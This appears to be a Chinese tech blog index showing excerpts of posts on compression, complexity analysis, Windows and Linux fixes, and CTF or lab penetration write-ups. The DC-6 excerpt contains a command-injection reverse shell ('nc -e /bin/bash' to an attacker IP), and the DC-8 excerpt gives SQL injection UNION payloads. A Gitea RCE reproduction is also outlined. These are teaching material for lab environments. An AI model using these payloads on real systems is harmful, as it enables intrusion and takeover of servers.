ZIP 为什么能让文件变小?
ZIP 为什么能让文件变小?—— 压缩的原理、格式与极限先看三个事实,它们看起来互相矛盾。 第一个:一个 221 KB 的中文文本文件,压成 ZIP 之后只剩 1.1 KB,砍掉了 99.5%。 第二个:一个 293 KB 的随机数据文件,压成 ZIP 之后变成 293.1 KB,不但没小,还胖了一点。 第三个:把一个已经压好的 ZIP 再压一遍、再压一遍、再压一遍。 这三个事实是同一件事的三个侧面。这篇文章想把它们串起来讲清楚。下面所有数字都是我在自己机器上跑出来的,不是抄的,代码逻辑在文中随手能找到。 顺便说一下这篇的写法。压这个话题有很多层,我打算把几套不同的思路混着用:用第一性原理拆它的成本结构,用它反过来想想什么时候不该压,用代码跑一遍验证,再盯一下那些极端情况。同一件事从几个角度各看一遍,比只从一个角度往下挖更容易看到全貌。 一、ZIP 文件格式分析要理解压缩,先看看压缩出来的东西长什么样。很多人用了十几年 ZIP,从没打开过一个 ZIP 文件看里面。 一个 ZIP 文件不是”一团压缩数据”,它是一个有结构的容器。它的结构大致是这样: 从左到右,重复出现的是本地文件...
什么是均摊复杂度?均摊分析?
什么是均摊复杂度?均摊分析?上篇文章里我们聊了复杂度和它那个偷懒的写法,大 O。这次聊一个更刁钻的问题。 你妹妹的书包又出场了。她每次往书包里塞一本作业本,就是一次操作。书包满了怎么办?只能换一个更大的书包,然后把旧书包里的本子一本一本倒进新书包。 现在问题来了:“往书包里放一本本子”这个操作,到底有多快? 平时:掀开盖子塞进去,一秒钟。 换书包那次:要把旧书包里所有本子全部倒过去,本子越多越慢。 如果只盯着最坏那一次,你会说:这个操作很慢,跟本子数量成正比。但如果盯着整个过程,你会发现换书包的次数少得可怜。 同一个操作,两个完全不同的答案。 均摊分析就是用来处理这种事的。 一、先说清楚:均摊不等于”平均”这是我见过最多人搞错的地方,所以放在最前面。 听到”均摊”两个字,很多人立刻想到”平均”。然后就想:平均嘛,就是对所有情况取个平均。 不是这么回事。 平常说的”平均复杂度”,背后藏着一个概率假设。比如快排的平均复杂度是 $O(n\log n)$,这个”平均”的意思是:假定输入数据是随机排列的,在这种假定下取平均。如果对手故意构造一组最坏数据喂给你,快排立刻掉到 $O(n^2...
时间复杂度与空间复杂度详解
时间复杂度与空间复杂度详解 时间复杂度和空间复杂度,是衡量算法效率的两个核心度量。下面从”数一数”这种最直观的方式讲起,给出大 O 的形式化定义,配上 C++ / Python 双版本代码、公式推导和三张图,中间点几个常见误区,也说说这篇讲不到的地方。 这两天在教一个小孩子学习算法,用一种简单的思维讲解时间复杂度和空间复杂度。 一、先别管名字,来数一数假设你妹妹让你帮她在书包里找一本作业本。 书包里有 3 本本子的时候,你抓两下就找到了,用了 2 秒。书包里有 30 本本子的时候,你要翻一会儿,用了 20 秒。书包里有 300 本本子的时候,你翻了两个小时。 现在我问你一个问题,“找本子”这件事,到底”有多快”? 你可能会说:”2 秒。” 错。2 秒是书包里有 3 本时的答案。 本子变成 300 本,答案就变成了两个小时。 所以真正要问的,是下面这句话。 本子每多一倍,我要多用多少时间? 这就是”复杂度”这个词真正在问的东西。它不关心你跑得多快,关心的是东西变多了以后,你变慢的速度有多快。 我觉得这是理解复杂度的唯一入口。如果你记住了 O(n²) 这四个字符,但不知道它在...
【BUUCTF】WEB-刷题记录-[极客大挑战 2019]BuyFlag
前言这是一道经典的 PHP 代码审计题。题目来自 BUUCTF / CTF² 平台的 [极客大挑战 2019]BuyFlag,主要考察 is_numeric 绕过、松散比较,以及用数组绕过长度校验。记录一下完整解题过程。 题目信息 平台:BUUCTF(CTF²) 类型:WEB 目标:花掉 100000000 money,买到 flag 信息收集首页菜单里有 Home / PayFlag,进入 pay.php: Flag need your 100000000 moneyIf you want to buy the FLAG:You must be a student from CUIT!!!You must be answer the correct password!!! 查看页面源码,底部 HTML 注释直接泄露了 password 的校验逻辑: 123456789~~~post money and password~~~if (isset($_POST['password'])) { $password = $_POST[...
【漏洞复现】CVE-2026-60004 Gitea diffpatch 接口 Git 钩子注入致远程命令执行
前言Gitea 在 1.17 ~ 1.27.0 版本中存在一个严重的代码注入漏洞(CVE-2026-60004,GHSA-rcr6-4jqh-j84m),官方已在 1.27.1 修复。漏洞位于 diffpatch(差异补丁)API:攻击者只需拥有一个账号并对任意仓库具备写权限,即可通过该接口提交恶意补丁,在服务器以 裸仓库(bare repo) 形式存储的临时仓库中 植入并执行 Git 钩子,从而以 Gitea 服务账户权限执行任意命令。 由于 Gitea 默认 开放注册,外部人员可以自行注册账号并创建仓库,从「无任何权限」直接获得仓库写权限,使该漏洞极易被真实利用(CVSS 9.8)。 漏洞信息 漏洞编号:CVE-2026-60004(GHSA-rcr6-4jqh-j84m) 影响版本:Gitea 1.17 ~ 1.27.0 修复版本:1.27.1 漏洞位置:POST /api/v1/repos/{owner}/{repo}/diffpatch 利用前提:拥有账号 + 对目标仓库具备写权限(默认开放注册时,攻击者可自行注册并创建仓库,天然满足) 危害:任意命令执行(以 Gite...
【Windows】修复 Win11 文件资源管理器复选框关不掉的问题
前言在 Windows 11 里,文件资源管理器中的每个文件、文件夹前面都出现了「复选框」,即使在 查看 → 显示 → 项目复选框 中取消勾选,这些复选框依然存在,切换任何目录都有。很多朋友(尤其是二合一 / 可拆键盘的平板笔电用户)都被这个「关不掉的复选框」折磨过。 本次复现所使用的设备信息如下,供大家对号入座: 设备型号:ALLDOCUBE(酷比魔方)iWork GT Ultra 设备类型:二合一平板笔电(可拆键盘的平板 / 笔记本两用设备,即 Windows 所称的 Convertible「可变形设备」) 操作系统:Windows 11 家庭版 25H2(Build 26200) 正是这类「可变形设备」才最容易触发本问题——普通台式机或非触屏笔记本一般不会遇到。 本文完整记录了该问题的现象、排查过程,以及最终的修复方案。 问题现象 顶部菜单 查看 → 显示 → 项目复选框 处于「未勾选」状态; 但每个文件前面始终有一个复选框,连列表表头都带全选框; 任意目录都存在,重启资源管理器、重启电脑均无效。 常规排查(均无效)遇到这种情况,一般第一反应是去关掉相关设置,通...
【ArchLinux】如何制服国产免驱网卡
前言很多国产 USB 无线网卡,比如某些标注“免驱”这类的网卡,通常在 Windows 上能够即插即用或者有适配的驱动,但是在 Linux 下会遇到一些坑。前些日子我给我的一个迷你主机装了一个 ArchLinux,但是机器的网卡不是很好,换了一个但暂时没有适配的信号天线,所以找了一下之前的无线网卡临时用下,发现了一款标注“免驱”的网卡,试了一试。 本文以 COMFAST CF-922AC(MT7612U 芯片) 为例,完整记录从识别设备、切换网卡模式、加载内核驱动、到 iwctl 正常联网的全过程,理论适配所有同方案联发科 / 瑞昱国产免驱 USB 无线网卡。 实验插上能被 lsusb 识别(也有可能不出具体型号),但 iwctl、系统网络设置里完全看不到无线网卡。 识别设备与模式切换注意看这个 1Bus 001 Device 010: ID 0e8d:2870 MediaTek Inc. Љ 不是上面的RTL8812AU 你会发现只能得到这是个联发科的设备 查看网卡的时候没这个网卡 (我的wlan0是板载,wlan2是那个RTL8812AU) 此时设备其实处于默认的 Ma...
【漏洞复现】CVE-2010-1870-S2-005 远程代码执行漏洞
题目环境Dockerfile123456789101112131415161718192021FROM tomcat:8.5-jre8RUN apt-get update && apt-get install -y curl netcat && rm -rf /var/lib/apt/lists/*COPY S2-005.war /usr/local/tomcat/webapps/ROOT.warRUN echo '#!/bin/bash\n\if [ -n "$FLAG" ]; then\n\ echo "$FLAG" > /flag\n\ chmod 444 /flag\n\ echo "[+] Flag written to /flag"\n\else\n\ echo "[-] FLAG environment variable is empty!" > /flag\n\fi\n\exec catalina.sh ru...
【DC系列靶场】DC:06
前言 名称:DC:6 环境部署 虚拟化:VMware Workstation 网卡:NAT 攻击机 IP 192.168.8.129 Kali Linux 25.3 靶机 DC-6 IP 192.168.8.131 渗透流程主机发现 端口扫描 访问 访问会跳转到wordy 编辑/etc/hosts 其余信息收集由于也是WordPress网站,我们依旧使用wpscan扫描 扫出几个用户 网页密码爆破 找到mark 密码是helpdesk01 登录成功 发现一个插件功能 那么查询功能可能存在命令执行 1127.0.0.1 | ls 当我想列出用户名的时候,发现输入框应该有长度限制,但是应该只是前端的 修改这里的maxlength 我直接删除掉了 开一个nc监听 1127.0.0.1 | nc -e /bin/bash 192.168.8.129 9999 进入交互模式 1python -c 'import pty;pty.spawn("/bin/bash")' 发现mark用户下的stuff里,有一个t...
【DC系列靶场】DC:08
前言 名称:DC:8 环境部署 虚拟化:VMware Workstation 网卡:NAT 攻击机 IP 192.168.8.131 Kali Linux 25.3 靶机 DC-8 IP 192.168.8.161 渗透流程主机发现 端口扫描 Web渗透 Drupal 7.67 检索一下漏洞 随便点一个文章先看看 这地方还真有SQL注入 order by 1是正常的 by 就报错了 并且其实这里给出来了完整的语句 1SELECT title FROM node WHERE nid = 1 order by 2; 当ID小于3的时候,输出的内容是程序控制的 为-1或者大于3的时候就可以拿到内容 1http://192.168.8.161/?nid=-1 UNION SELECT database() 获取数据库名称 1?nid=-1 UNION SELECT GROUP_CONCAT(table_name SEPARATOR '~') FROM information_schema.tables WHERE table_schema=&...



![【BUUCTF】WEB-刷题记录-[极客大挑战 2019]BuyFlag](/../attachments/image-20261014052001111.png)




